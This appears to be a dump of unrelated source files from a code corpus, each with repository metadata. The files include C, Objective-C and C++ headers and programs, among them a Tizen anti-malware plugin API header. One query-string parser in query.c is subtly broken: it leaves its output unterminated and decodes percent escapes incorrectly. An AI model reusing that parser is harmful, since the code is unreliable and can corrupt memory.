// // UdeskImageMessage.h // UdeskSDK // // Created by xuchen on 2017/5/17. // Copyright © 2017年 Udesk. All rights reserved. // #import "UdeskBaseMessage.h" /** 聊天气泡和其中的图片水平间距 */ extern const CGFloat kUDBubbleToImageHorizontalSpacing; @interface UdeskImageMessage : UdeskBaseMessage //图片frame(包括下方留白) @property (nonatomic, assign, readonly) CGRect imageFrame; @end
18.75
59
0.744
f4084f3517c160188a3239c078b859f0eb4154b8
1,480
c
C
C/1048.c
mayconrebordao/uri-codes
1081c25ecaf0142f38c7ba287bd01490a1d34474
[ "MIT" ]
null
null
null
C/1048.c
mayconrebordao/uri-codes
1081c25ecaf0142f38c7ba287bd01490a1d34474
[ "MIT" ]
null
null
null
C/1048.c
mayconrebordao/uri-codes
1081c25ecaf0142f38c7ba287bd01490a1d34474
[ "MIT" ]
null
null
null
#include <stdio.h> int main(){ double salario,aumento,newsal; int perc; scanf("%lf",&salario); if(salario>0 && salario<=400.00){ aumento=(salario/100)*15; newsal=salario+aumento; perc=15; printf("Novo salario: %0.2lf\n",newsal); printf("Reajuste ganho: %0.2lf\n",aumento); printf("Em percentual: %d %%\n",perc); } else if(salario>400.00 && salario<=800.00){ aumento=(salario/100)*12; newsal=salario+aumento; perc=12; printf("Novo salario: %0.2lf\n",newsal); printf("Reajuste ganho: %0.2lf\n",aumento); printf("Em percentual: %d %%\n",perc); } else if(salario >800.00 && salario<=1200.00){ aumento=(salario/100)*10; newsal=salario+aumento; perc=10; printf("Novo salario: %0.2lf\n",newsal); printf("Reajuste ganho: %0.2lf\n",aumento); printf("Em percentual: %d %%\n",perc); } else if(salario>1200.00 && salario<=2000.00){ aumento=(salario/100)*7; newsal=salario+aumento; perc=7; printf("Novo salario: %0.2lf\n",newsal); printf("Reajuste ganho: %0.2lf\n",aumento); printf("Em percentual: %d %%\n",perc); } else if(salario>2000.00){ aumento=(salario/100)*4; newsal=salario+aumento; perc=4; printf("Novo salario: %0.2lf\n",newsal); printf("Reajuste ganho: %0.2lf\n",aumento); printf("Em percentual: %d %%\n",perc); } return 0; }
30.833333
51
0.57027
3cea18d7e02a17a62e2497c347622e90664aa97f
209
h
C
Example/HUDHelper/HUDViewController.h
lp380490944/HUDHelper
2e70d895361c41ccc7aaed54e90ff71fe413eedd
[ "MIT" ]
2
2018-03-14T03:07:26.000Z
2018-05-31T10:41:25.000Z
Example/HUDHelper/HUDViewController.h
AsaYao/HUDHelper
e056a79adabd36d1d05dd1de79446a8c11c25e32
[ "MIT" ]
null
null
null
Example/HUDHelper/HUDViewController.h
AsaYao/HUDHelper
e056a79adabd36d1d05dd1de79446a8c11c25e32
[ "MIT" ]
2
2020-10-26T03:55:39.000Z
2020-12-23T07:46:19.000Z
// // HUDViewController.h // HUDHelper // // Created by Wei Han on 12/13/2016. // Copyright (c) 2016 Wei Han. All rights reserved. // @import UIKit; @interface HUDViewController : UIViewController @end
14.928571
52
0.69378
f09b442e39cfb3ee6bb011f1d882681d835fe008
682
c
C
src/language_support/query.c
GreenAndEievui/csp
27aca499a903e5defa1f865e838fd598a2ddf95d
[ "MIT" ]
1
2022-03-09T19:09:15.000Z
2022-03-09T19:09:15.000Z
src/language_support/query.c
GreenAndEievui/csp
27aca499a903e5defa1f865e838fd598a2ddf95d
[ "MIT" ]
null
null
null
src/language_support/query.c
GreenAndEievui/csp
27aca499a903e5defa1f865e838fd598a2ddf95d
[ "MIT" ]
null
null
null
#include <stdlib.h> #include <string.h> const char * csp_parse_qstring(const char ** _query, char delim) { char * result = malloc(16); size_t i = 0; const char * query = *_query; while (*query && *query != delim) { if (*query == '%') { query++; char byte; if (!*query) break; byte = (*query++ - '0') * 10; if (!*query) break; byte += *query++ - '0'; result[i++] = byte; } else { result[i++] = *query++; } if (i % 16) result = realloc(result, i + 16); } if (*query == delim) query++; *_query = query; return result; }
22.733333
66
0.445748
34bed200f1a99ca37a023e47e822c5c9a62b2868
1,069
c
C
srcs/lib/ft_skip.c
lobbyra/minishell
10678a2bd6f8b38d540bdd0385fe8043d989a2a7
[ "MIT" ]
4
2020-03-25T12:28:15.000Z
2021-04-16T06:48:01.000Z
srcs/lib/ft_skip.c
Jean-xavierr/42Minishell
566abfdb90e9cd6863aeaf50aa04d40aa3154121
[ "MIT" ]
1
2020-03-25T09:15:31.000Z
2020-03-25T09:15:31.000Z
srcs/lib/ft_skip.c
Jean-xavierr/42Minishell
566abfdb90e9cd6863aeaf50aa04d40aa3154121
[ "MIT" ]
8
2020-03-25T08:25:53.000Z
2020-07-28T11:27:15.000Z
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_skip.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: jecaudal <marvin@42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/06/22 15:24:22 by jecaudal #+# #+# */ /* Updated: 2020/06/22 16:58:02 by jecaudal ### ########.fr */ /* */ /* ************************************************************************** */ /* ** This function will move forward your ptr while c is at the **ptr. */ void ft_skip(char **ptr, char c) { if (ptr && c != '\0') { while (**ptr == c) (*ptr)++; } }
42.76
80
0.172123
5d141dfd81aaa62d9fc8453d18334aefd4ecec69
991
h
C
Source/RASceneGraphController.h
yangjunying/EarthView
a0884ef8fc58bd21a1b7434eaa7ca771c126677e
[ "BSD-3-Clause" ]
62
2015-01-07T07:02:33.000Z
2022-02-25T17:02:10.000Z
Source/RASceneGraphController.h
yangjunying/EarthView
a0884ef8fc58bd21a1b7434eaa7ca771c126677e
[ "BSD-3-Clause" ]
2
2016-04-07T00:21:38.000Z
2017-11-08T13:32:35.000Z
Source/RASceneGraphController.h
yangjunying/EarthView
a0884ef8fc58bd21a1b7434eaa7ca771c126677e
[ "BSD-3-Clause" ]
15
2015-03-20T18:25:47.000Z
2020-11-04T20:42:53.000Z
// // RASceneGraphController.h // RASceneGraphTest // // Created by Ross Anderson on 2/19/12. // Copyright (c) 2012 Ross Anderson. All rights reserved. // #import <GLKit/GLKit.h> #import "RANode.h" #import "RACamera.h" #import "RATilePager.h" #import "RAManipulator.h" @interface RASceneGraphController : UIViewController <GLKViewDelegate, UITextFieldDelegate> @property (strong) EAGLContext * context; @property (strong, nonatomic) IBOutlet GLKView * glView; @property (strong, nonatomic) IBOutlet UITextField * flyToLocationField; @property (strong, nonatomic) IBOutlet UILabel * statsLabel; @property (strong, nonatomic) IBOutlet UISwitch * clippingEnable; @property (strong, nonatomic) IBOutlet UISwitch * pagingEnable; @property (strong, nonatomic) RANode * sceneRoot; @property (strong, nonatomic) RACamera * camera; @property (strong, nonatomic) RATilePager * pager; @property (strong, nonatomic) RAManipulator * manipulator; - (IBAction)flyToLocationFrom:(id)sender; @end
30.030303
91
0.765893
6197acfe16e016db2d519be8f53f5744bc6e064c
4,031
h
C
STM8_Lib/flash.h
al177/hc12pj
071d1b74b31eda43b25e0c1f84b9c4befbb22f3d
[ "MIT" ]
22
2018-01-02T20:03:02.000Z
2022-01-28T06:29:50.000Z
STM8_Lib/flash.h
al177/hc12pj
071d1b74b31eda43b25e0c1f84b9c4befbb22f3d
[ "MIT" ]
1
2019-04-22T23:21:51.000Z
2019-05-20T18:16:27.000Z
STM8_Lib/flash.h
al177/hc12pj
071d1b74b31eda43b25e0c1f84b9c4befbb22f3d
[ "MIT" ]
11
2017-11-12T22:29:44.000Z
2021-07-28T09:26:19.000Z
/** \file flash.h \author G. Icking-Konert \date 2013-11-22 \version 0.1 \brief declaration of flash read/write routines declaration of flash read/write routines and macros. RAM routines for block operations are in RAM_routines.c */ /*----------------------------------------------------------------------------- MODULE DEFINITION FOR MULTIPLE INCLUSION -----------------------------------------------------------------------------*/ #ifndef _FLASH_H_ #define _FLASH_H_ /*----------------------------------------------------------------------------- INCLUDE FILES -----------------------------------------------------------------------------*/ #include <stdint.h> #include "stm8as.h" #include "memory_access.h" /*----------------------------------------------------------------------------- DEFINITION OF GLOBAL MACROS/#DEFINES -----------------------------------------------------------------------------*/ ////// // addresses of option bytes ////// #define OPT0 (OPT_BaseAddress+0x00) //!< Option byte 0: Read-out protection (not accessible in IAP mode) #define OPT1 (OPT_BaseAddress+0x01) //!< Option byte 1: User boot code */ #define NOPT1 (OPT_BaseAddress+0x02) //!< Complementary Option byte 1 */ #define OPT2 (OPT_BaseAddress+0x03) //!< Option byte 2: Alternate function remapping */ #define NOPT2 (OPT_BaseAddress+0x04) //!< Complementary Option byte 2 */ #define OPT3 (OPT_BaseAddress+0x05) //!< Option byte 3: Watchdog option */ #define NOPT3 (OPT_BaseAddress+0x06) //!< Complementary Option byte 3 */ #define OPT4 (OPT_BaseAddress+0x07) //!< Option byte 4: Clock option */ #define NOPT4 (OPT_BaseAddress+0x08) //!< Complementary Option byte 4 */ #define OPT5 (OPT_BaseAddress+0x09) //!< Option byte 5: HSE clock startup */ #define NOPT5 (OPT_BaseAddress+0x0A) //!< Complementary Option byte 5 */ #define RES1 (OPT_BaseAddress+0x0B) //!< Reserved Option byte*/ #define RES2 (OPT_BaseAddress+0x0C) //!< Reserved Option byte*/ #define OPT7 (OPT_BaseAddress+0x0D) //!< Option byte 7: flash wait states */ #define NOPT7 (OPT_BaseAddress+0x0E) //!< Complementary Option byte 7 */ #define OPT8 (OPT_BaseAddress+0x10) //!< Option byte 8: TMU key 1 */ #define OPT9 (OPT_BaseAddress+0x11) //!< Option byte 9: TMU key 2 */ #define OPT10 (OPT_BaseAddress+0x12) //!< Option byte 10: TMU key 3 */ #define OPT11 (OPT_BaseAddress+0x13) //!< Option byte 11: TMU key 4 */ #define OPT12 (OPT_BaseAddress+0x14) //!< Option byte 12: TMU key 5 */ #define OPT13 (OPT_BaseAddress+0x15) //!< Option byte 13: TMU key 6 */ #define OPT14 (OPT_BaseAddress+0x16) //!< Option byte 14: TMU key 7 */ #define OPT15 (OPT_BaseAddress+0x17) //!< Option byte 15: TMU key 8 */ #define OPT16 (OPT_BaseAddress+0x18) //!< Option byte 16: TMU access failure counter */ #define OPT17 (OPT_BaseAddress+0x7E) //!< Option byte 17: BSL activation */ #define NOPT17 (OPT_BaseAddress+0x7F) //!< Complementary Option byte 17 */ /*----------------------------------------------------------------------------- DEFINITION OF GLOBAL FUNCTIONS -----------------------------------------------------------------------------*/ // flash write/erase routines void flash_OPT_default(void); uint8_t flash_write_option_byte(uint16_t addr, uint8_t data); ///< write option byte (all in 16-bit range) void flash_write_byte(MEM_POINTER_T addr, uint8_t data); ///< write 1B to P-flash or EEPROM void flash_erase_block(MEM_POINTER_T addr); ///< erase 128B block in flash (must be executed from RAM) void flash_write_block(MEM_POINTER_T addr, uint8_t buf[]); ///< write 128B block to flash (must be executed from RAM) /*----------------------------------------------------------------------------- END OF MODULE DEFINITION FOR MULTIPLE INLUSION -----------------------------------------------------------------------------*/ #endif // _FLASH_H_
50.3875
125
0.547755
2576b734f86d431fc4471663252a1a6a956b7ea2
6,775
h
C
plugin/TCSPImpl.h
tizenorg/platform.upstream.csf-framework
b043863c74f754485b4a4a0cb84079c586004631
[ "Unlicense" ]
null
null
null
plugin/TCSPImpl.h
tizenorg/platform.upstream.csf-framework
b043863c74f754485b4a4a0cb84079c586004631
[ "Unlicense" ]
null
null
null
plugin/TCSPImpl.h
tizenorg/platform.upstream.csf-framework
b043863c74f754485b4a4a0cb84079c586004631
[ "Unlicense" ]
null
null
null
#ifndef TCSPIMPL_H #define TCSPIMPL_H #ifdef __cplusplus extern "C" { #endif #define TCSP_PLUGIN_VERSION "2.0.2" #define TCSP_PLUGIN_INFO "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\ <Root><Plug>\n\ <Version>2.0.2</Version>\n\ <VendorName>McAfee</VendorName>\n\ <ProductName>TPCS</ProductName>\n\ <AppId>EmbkcJFK7q</AppId>\n\ </Plug></Root>\n" /** * \file TCSPImpl.h * \brief TCS Plug-in Header File * * This file provides the Tizen Content Screen Plug-in API functions. */ /*================================================================================================== FUNCTION PROTOTYPES ==================================================================================================*/ /** * \brief Version number of plugin * * This is a synchronous API * * \return Return Type (const char *) \n * Version number of plugin. \n */ const char *TCSPGetVersion(void); /** * \brief Gets Meta info about the plugin * * This is a synchronous API * * \return Return Type (const char *) \n * Meta information of plugin. \n * Size should less than TCS_META_MAX. \n */ const char *TCSPGetInfo(void); /** * \brief Initializes and returns a Tizen Content Screening library * interface handle. * * A Content Screening library interface handle (or TCS library handle) is * obtained using the TCSLibraryOpen() function. The library handle is required for * subsequent TCS API calls. The TCSLibraryClose() function releases/closes the library * handle. Multiple library handles can be obtained using TCSLibraryOpen(). * * This is a synchronous API. * * \return Return Type (TCSLIB_HANDLE) \n * TCS library interface handle - on success. \n * INVALID_TCSLIB_HANDLE - on failure. \n */ TCSLIB_HANDLE TCSPLibraryOpen(void); /** * \brief Releases system resources associated with an TCS API library * handle returned by the TCSLibraryOpen() function. * * This is a synchronous API. * * \param[in] hLib TCS library handle returned by TCSLibraryOpen(). * * \return Return Type (int) \n * 0 - on success. \n * -1 - on failure. \n */ int TCSPLibraryClose(TCSLIB_HANDLE hLib); /** * \brief Returns the last error code associated with the given * TCS library handle. * * Once the TCS library handle has been successfully obtained from TCSLibraryOpen(), * TCSGetLastError() can be used to retrieve the last TCS error that occurred. All TCS * API functions return zero (= 0) or a valid object pointer if successful, and -1 * or a null object handle (e.g. INVALID_TCSSCAN_HANDLE) in case of an error. The * TCSGetLastError() function is used to retrieve error information when a TCS * function fails. * * This is a synchronous API. * * \param[in] hLib TCS library handle returned by TCSLibraryOpen(). * * \return Return Type (TCSErrorCode) \n * Last error code set by the TCS library. The TCSErrorCode data type is defined as a * 32-bit unsigned integer which contains both component and an error code (see * Figure about TCS Error Code Format). Two macros are available to extract the error * module and the error code. Call TCS_ERRMODULE(error-code) to get the error module, * and TCS_ERRCODE(error-code) to get the error code (where error-code is the value * returned by TCSGetLastError()). * * TCS library call sequence with a call to the TCSGetLastError() function: * */ TCSErrorCode TCSPGetLastError(TCSLIB_HANDLE hLib); /** * \brief TCSScanData() is used to scan a data buffer for malware. The caller * specifies a scanner action, scan target data type, set I/O functions to access * the data, and an optional callback function for information retrieval. The result * of the data scanning is returned in a caller provided data structure. * * This is a synchronous API. * * \param[in] hLib instance handle obtained from a call to the TCSLibraryOpen() * function. * \param[in] pParam Pointer to a structure containing data scan parameters. * \param[out] pResult Pointer to a structure containing data scan * results. * * \return Return Type (int) \n * 0 - on success. \n * -1 - on failure and error code is set. \n * */ int TCSPScanData(TCSLIB_HANDLE hLib, TCSScanParam *pParam, TCSScanResult *pResult); /** * \brief TCSScanFile() is used to scan a file for malware. The caller specifies a * file name, a scanner action, and scan target data type. The scan result is * returned in a caller provided data structure. * * This is a synchronous API. * * \param[in] hLib instance handle obtained from a call to the * TCSLibraryOpen() function. * \param[in] pszFileName Name of file to scan. The file name must include the * absolute path. * \param[in] iDataType Type of data contained in the file. This is used to * perform data type specific scans on files. * \param[in] iAction Type of scanning to perform on file. * \param[in] iCompressFlag Enables or disables decompression of archive files. * \param[out] pResult Pointer to a structure containing data scan results. * * \return Return Type (int) \n * 0 - on success. \n * -1 - on failure and error code is set. \n */ int TCSPScanFile(TCSLIB_HANDLE hLib, char const *pszFileName, int iDataType, int iAction, int iCompressFlag, TCSScanResult *pResult); /** * \brief TCSScanFile() is used to scan a file for malware. The caller specifies a * file name, a scanner action, and scan target data type. The scan result is * returned in a caller provided data structure. Extra parameters pPrivate and * pfCallBack are for Callback. * This is a synchronous API. * * \param[in] hLib instance handle obtained from a call to the * TCSLibraryOpen() function. * \param[in] pszFileName Name of file to scan. The file name must include the * absolute path. * \param[in] iDataType Type of data contained in the file. This is used to * perform data type specific scans on files. * \param[in] iAction Type of scanning to perform on file. * \param[in] iCompressFlag Enables or disables decompression of archive files. * \param[in] pPrivate Pointer (or handle) to an application object being scanned. * \param[in] pfCallBack Callback function used to notify caller for specific * events via this callback function. * \param[out] pResult Pointer to a structure containing data scan results. * * \return Return Type (int) \n * 0 - on success. \n * -1 - on failure and error code is set. \n */ int TCSPScanFileEx(TCSLIB_HANDLE hLib, char const *pszFileName, int iDataType, int iAction, int iCompressFlag, void *pPrivate, int (*pfCallBack)(void *pPrivate, int iReason, void *pParam), TCSScanResult *pResult); #ifdef __cplusplus } #endif #endif /* TCSIMPL_H */
36.037234
100
0.691513
b01e8a6ebeb3b4f263610d58ecd1214ba91b7808
1,247
h
C
src/main/domain/Tetromino.h
sequoiahead/tetpack
17a6687eb40e313377fe8062665222d03515d9ac
[ "MIT" ]
null
null
null
src/main/domain/Tetromino.h
sequoiahead/tetpack
17a6687eb40e313377fe8062665222d03515d9ac
[ "MIT" ]
null
null
null
src/main/domain/Tetromino.h
sequoiahead/tetpack
17a6687eb40e313377fe8062665222d03515d9ac
[ "MIT" ]
null
null
null
#ifndef TETROMINO_H_ #define TETROMINO_H_ #include <array> class Tetromino { public: enum Type { I = 0, J, L, O, S, T, Z, _LAST }; enum Direction { DIR_UP = 0, DIR_RIGHT, DIR_DOWN, DIR_LEFT, _DIR_LAST }; constexpr static uint8_t MAX = static_cast<int>(_LAST); explicit Tetromino(Type); virtual ~Tetromino(); Type getType() const; uint8_t getWidth() const; uint8_t getHeight() const; uint8_t getX() const; uint8_t getY() const; Direction getDirection() const; void rotate(Direction aDir = _DIR_LAST); void move(uint8_t, uint8_t); private: Type type; Direction dir; constexpr static std::array<std::pair<uint8_t,uint8_t>,MAX> dimensions{{{4,1},{2,4},{2,4},{2,2},{3,2},{3,2},{3,2}}}; uint8_t w; //in blocks uint8_t h; //in blocks uint8_t x = 0; //in blocks uint8_t y = 0; //in blocks }; inline Tetromino::Type Tetromino::getType() const { return type; } inline uint8_t Tetromino::getWidth() const { return w; } inline uint8_t Tetromino::getHeight() const { return h; } inline uint8_t Tetromino::getX() const { return x; } inline uint8_t Tetromino::getY() const { return y; } inline Tetromino::Direction Tetromino::getDirection() const { return dir; } #endif /* TETROMINO_H_ */
15.395062
117
0.676824
f900fb78c3b80dbfa19d3ed5c9e1132a7ab36ef4
5,207
h
C
CC/src/Chi2Helper.h
ohanlonl/qCMAT
f6ca04fa7c171629f094ee886364c46ff8b27c0b
[ "BSD-Source-Code" ]
null
null
null
CC/src/Chi2Helper.h
ohanlonl/qCMAT
f6ca04fa7c171629f094ee886364c46ff8b27c0b
[ "BSD-Source-Code" ]
null
null
null
CC/src/Chi2Helper.h
ohanlonl/qCMAT
f6ca04fa7c171629f094ee886364c46ff8b27c0b
[ "BSD-Source-Code" ]
1
2019-02-03T12:19:42.000Z
2019-02-03T12:19:42.000Z
//########################################################################## //# # //# CCLIB # //# # //# This program is free software; you can redistribute it and/or modify # //# it under the terms of the GNU Library General Public License as # //# published by the Free Software Foundation; version 2 or later of the # //# License. # //# # //# This program is distributed in the hope that it will be useful, # //# but WITHOUT ANY WARRANTY; without even the implied warranty of # //# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # //# GNU General Public License for more details. # //# # //# COPYRIGHT: EDF R&D / TELECOM ParisTech (ENST-TSI) # //# # //########################################################################## #ifndef CHI2_HELPER_HEADER #define CHI2_HELPER_HEADER //system #include <cmath> #ifndef LOG_SQRT_PI #define LOG_SQRT_PI 0.5723649429247000870717135 /* log(sqrt(pi)) */ #endif #ifndef I_SQRT_PI #define I_SQRT_PI 0.5641895835477562869480795 /* 1 / sqrt(pi) */ #endif //! Package of methods to compute Chi2 related stuff /** The following JavaScript functions for calculating normal and chi-square probabilities and critical values were adapted by John Walker from C implementations written by Gary Perlman of Wang Institute, Tyngsboro, MA 01879. Both the original C code and this JavaScript edition are in the public domain. **/ class Chi2Helper { public: //! Probability of normal z value /** Adapted from a polynomial approximation in: Ibbetson D, Algorithm 209 Collected Algorithms of the CACM 1963 p. 616 Note: This routine has six digit accuracy, so it is only useful for absolute z values < 6. For z values >= to 6.0, poz() returns 0.0. **/ static double poz(double z) { double x; if (z == 0.0) { x = 0.0; } else { double y = 0.5 * std::abs(z); if (y >= 3.0) /* Maximum meaningful z value (6) divided by 2 */ { x = 1.0; } else if (y < 1.0) { double w = y * y; x = ((((((((0.000124818987 * w - 0.001075204047) * w + 0.005198775019) * w - 0.019198292004) * w + 0.059054035642) * w - 0.151968751364) * w + 0.319152932694) * w - 0.531923007300) * w + 0.797884560593) * y * 2.0; } else { y -= 2.0; x = (((((((((((((-0.000045255659 * y + 0.000152529290) * y - 0.000019538132) * y - 0.000676904986) * y + 0.001390604284) * y - 0.000794620820) * y - 0.002034254874) * y + 0.006549791214) * y - 0.010557625006) * y + 0.011630447319) * y - 0.009279453341) * y + 0.005353579108) * y - 0.002141268741) * y + 0.000535310849) * y + 0.999936657524; } } return z > 0.0 ? ((x + 1.0) * 0.5) : ((1.0 - x) * 0.5); } //! Value above which exp(EXP_MAX_A_VALUE) diverges static inline double EXP_MAX_A_VALUE() { return 50.0; } //! Probability of chi-square value /** Adapted from: Hill, I. D. and Pike, M. C. Algorithm 299 Collected Algorithms for the CACM 1967 p. 243 Updated for rounding errors based on remark in ACM TOMS June 1985, page 185 **/ static double pochisq(double x, int df) { if (x <= 0.0 || df < 1) return 1.0; double a = 0.5 * x; bool even = !(df & 1); /* True if df is an even number */ double y = 0; if (df > 1) { y = std::exp(-a); } double s = (even ? y : (2.0 * poz(-std::sqrt(x)))); if (df > 2) { x = 0.5 * (df - 1.0); double z = (even ? 1.0 : 0.5); if (a > EXP_MAX_A_VALUE()) { double e = (even ? 0.0 : LOG_SQRT_PI); double c = std::log(a); while (z <= x) { e = std::log(z)+e; s += std::exp(c*z-a-e); z += 1.0; } return s; } else { double e = (even ? 1.0 : (I_SQRT_PI / std::sqrt(a))); double c = 0.0; while (z <= x) { e = e*(a/z); c = c+e; z += 1.0; } return c*y+s; } } else return s; } //! Compute critical chi-square value toproduce given p. /** We just do a bisection search for a value within CHI_EPSILON, relying on the monotonicity of pochisq(). **/ static double critchi(double p, int df) { double CHI_EPSILON = 0.000001; /* Accuracy of critchi approximation */ double CHI_MAX = 99999.0; /* Maximum chi-square value */ double minchisq = 0.0; double maxchisq = CHI_MAX; double chisqval; if (p <= 0.0) return maxchisq; else if (p >= 1.0) return 0.0; chisqval = df / std::sqrt(p); /* fair first value */ while ((maxchisq - minchisq) > CHI_EPSILON) { if (pochisq(chisqval, df) < p) maxchisq = chisqval; else minchisq = chisqval; chisqval = (maxchisq + minchisq) * 0.5; } return chisqval; } }; #endif //CHI2_HELPER_HEADER
29.252809
76
0.523334
01ebd78ee05786d3795c973ca6d01713f8691def
266
h
C
LiberoEngine/src/ImGuiPremadeWindows.h
Kair0z/LiberoEngine2D
79fb93d7bbb5f5e6b805da6826c64ffa520989c3
[ "MIT" ]
null
null
null
LiberoEngine/src/ImGuiPremadeWindows.h
Kair0z/LiberoEngine2D
79fb93d7bbb5f5e6b805da6826c64ffa520989c3
[ "MIT" ]
null
null
null
LiberoEngine/src/ImGuiPremadeWindows.h
Kair0z/LiberoEngine2D
79fb93d7bbb5f5e6b805da6826c64ffa520989c3
[ "MIT" ]
null
null
null
#pragma once // Includes all Premade ImGui Windows needed for the engine #include "HierarchyWindowImGui.h" #include "LoggerWindowImGui.h" #include "InspectorWindowImGui.h" #include "ResourcesWindowImGui.h" #include "RenderWindowImGui.h" #include "PlayWindowImGui.h"
29.555556
59
0.808271
d7536bbd0a8c5371c1573fe9bb3077fb4b92889d
671
h
C
src/modelFactory/CFG/CfgUtilities.h
toebs88/SCAM
0b5a8f1c57593da40e85d0b8ce6a6cf5616379ca
[ "MIT" ]
3
2018-08-31T21:35:27.000Z
2018-10-29T04:06:46.000Z
src/modelFactory/CFG/CfgUtilities.h
toebs88/SCAM
0b5a8f1c57593da40e85d0b8ce6a6cf5616379ca
[ "MIT" ]
1
2018-04-20T12:38:22.000Z
2018-04-20T12:38:55.000Z
src/modelFactory/CFG/CfgUtilities.h
toebs88/SCAM
0b5a8f1c57593da40e85d0b8ce6a6cf5616379ca
[ "MIT" ]
null
null
null
// // Created by tobias on 20.07.18. // #ifndef PROJECT_CFGUTILITIES_H #define PROJECT_CFGUTILITIES_H #include <map> #include <set> #include "CFGNode.h" namespace SCAM{ class CfgUtilities { public: CfgUtilities() = default; virtual ~CfgUtilities() = default; static std::map<SCAM::CFGNode *, SCAM::CFGNode *> getStartEndMap(const std::map<int, CFGNode *> &cfgMap); static std::map<int, SCAM::CFGNode *> addTerminalNodeForFunctions(const std::map<int, CFGNode *> &cfgMap); static std::map<SCAM::CFGNode*,std::set<int>> getPathNodes(const std::map<SCAM::CFGNode *, SCAM::CFGNode *> & startEndMap); private: }; } #endif //PROJECT_CFGUTILITIES_H
22.366667
127
0.703428
c722b00dd8fd68aca9939babfa6599d64759c133
2,260
h
C
Core/Inc/protocol.h
klajkor/F446RE_FreeRTOS_transmitter
eb05292ed46ff456eb717dab96ac3210889cfa3e
[ "FSFAP" ]
null
null
null
Core/Inc/protocol.h
klajkor/F446RE_FreeRTOS_transmitter
eb05292ed46ff456eb717dab96ac3210889cfa3e
[ "FSFAP" ]
null
null
null
Core/Inc/protocol.h
klajkor/F446RE_FreeRTOS_transmitter
eb05292ed46ff456eb717dab96ac3210889cfa3e
[ "FSFAP" ]
null
null
null
/* * protocol.h * * Created on: 2021 March 13. * Author: Robert_Klajko */ #ifndef INC_PROTOCOL_H_ #define INC_PROTOCOL_H_ #include <stdio.h> #include <stdint.h> #define FRAME_START_BYTE_1 ( 0x55 ) #define FRAME_START_BYTE_2 ( 0x56 ) #define FRAME_STOP_BYTE_1 ( 0x0D ) #define FRAME_STOP_BYTE_2 ( 0x0A ) #define FRAME_CRC_BYTE_POS ( 9 ) #define CRC_DEFAULT_VALUE ( 0xFF ) #define CRC_POLYNOM ( 0x31 ) typedef union unionFloatUint8_t { float f; uint8_t u8[4]; } unionFloatUint8_t; typedef struct { char Header[3]; char Payload[21]; } structMessageBuffer_t; typedef struct structUARTmessage_t { uint8_t Start_Byte_1; uint8_t Start_Byte_2; uint8_t Device_ID; uint8_t Cmd_ID; unionFloatUint8_t Data1; int8_t Data2; uint8_t Crc_Byte; uint8_t Stop_Byte_1; uint8_t Stop_Byte_2; } structUARTmessage_t; typedef uint8_t messageFrame_t[sizeof(structUARTmessage_t)]; typedef union unionUARTmessage_t { structUARTmessage_t structMessage; messageFrame_t arrayMessage; } unionUARTmessage_t; typedef enum protocolRetVal_enum { protocolRetVal_OK = 0, protocolRetVal_NOK, protocolRetVal_End } protocolRetVal_enum; typedef enum Frame_Cmd_enum { eFRAME_CMD_BTN_STATUS = 0x42, eFRAME_CMD_LED_STATUS = 0x4C, eFRAME_CMD_ADC_VALUE = 0x41, eFRAME_CMD_ADC_RAW = 0x52 } Frame_Cmd_enum; typedef enum Frame_Btn_Status_enum { eBTN_STATUS_OFF = 0x30, eBTN_STATUS_ON = 0x31 } Frame_Btn_Status_enum; typedef enum Frame_Led_Status_enum { eLED_STATUS_OFF = 0x30, eLED_STATUS_ON = 0x31 } Frame_Led_Status_enum; typedef enum Frame_Device_Id_enum { eDEVICE_ID_F446RE = 0x21, eDEVICE_ID_WB55 = 0x22 } Frame_Device_Id_enum; typedef enum messageValidateRetVal_enum { validate_OK = 0, validate_MsgLenError, validate_StartByteError, validate_StopByteError, validate_CRCError } messageValidateRetVal_enum; protocolRetVal_enum buildFrameToSend_old(uint8_t frameCmdID, unionFloatUint8_t frameData1, int8_t frameData2, uint8_t *pFrame); protocolRetVal_enum buildFrameToSend(uint8_t frameCmdID, unionFloatUint8_t frameData1, int8_t frameData2, messageFrame_t pFrame); messageValidateRetVal_enum messageValidate(messageFrame_t msgFrame); uint8_t gencrc8(uint8_t *data, uint8_t len); #endif /* INC_PROTOCOL_H_ */
22.376238
129
0.79292
ba6e2d596a965e34f14e0a8dc5654c96e6a0657c
359
h
C
include/PractRand_full.h
tommyettinger/PractRand-With-Junk
ac2c6ef5ad1e031486b94995cf90dd76ee7d95e2
[ "Unlicense" ]
null
null
null
include/PractRand_full.h
tommyettinger/PractRand-With-Junk
ac2c6ef5ad1e031486b94995cf90dd76ee7d95e2
[ "Unlicense" ]
null
null
null
include/PractRand_full.h
tommyettinger/PractRand-With-Junk
ac2c6ef5ad1e031486b94995cf90dd76ee7d95e2
[ "Unlicense" ]
1
2020-08-11T01:00:52.000Z
2020-08-11T01:00:52.000Z
#ifndef _PractRand_full_h #define _PractRand_full_h #include "PractRand/config.h" #include "PractRand/rng_basics.h" #include "PractRand/rng_helpers.h" #include "PractRand/test_helpers.h" #include "PractRand/test_batteries.h" //#include "PractRand/rng_adaptors.h" #include "PractRand/tests.h" #include "PractRand/test_batteries.h" #endif //_PractRand_full_h
25.642857
37
0.802228
9c52da13fd58f1ed3c608a97d378970276358b9e
266
h
C
TravelPoints/Models/Hotel/QDBankaccountDTO.h
LiLixikun/TravelPoints
2c934641b9f1178a56cf66e92709cf82176a0226
[ "MIT" ]
null
null
null
TravelPoints/Models/Hotel/QDBankaccountDTO.h
LiLixikun/TravelPoints
2c934641b9f1178a56cf66e92709cf82176a0226
[ "MIT" ]
null
null
null
TravelPoints/Models/Hotel/QDBankaccountDTO.h
LiLixikun/TravelPoints
2c934641b9f1178a56cf66e92709cf82176a0226
[ "MIT" ]
2
2019-04-23T03:51:07.000Z
2019-09-29T02:09:17.000Z
// // QDBankaccountDTO.h // TravelPoints // // Created by 冉金 on 2019/1/23. // Copyright © 2019年 Charles Ran. All rights reserved. // #import <Foundation/Foundation.h> NS_ASSUME_NONNULL_BEGIN @interface QDBankaccountDTO : NSObject @end NS_ASSUME_NONNULL_END
14.777778
55
0.740602
68f6fb4d5d0b4786d5b4dbea361359236e090c98
423
h
C
xlat/sigemt_codes.h
pixeldustproject-o/android_external_strace
0be31d963f5c76aa4fbf0a0d220a99fdd66a84ec
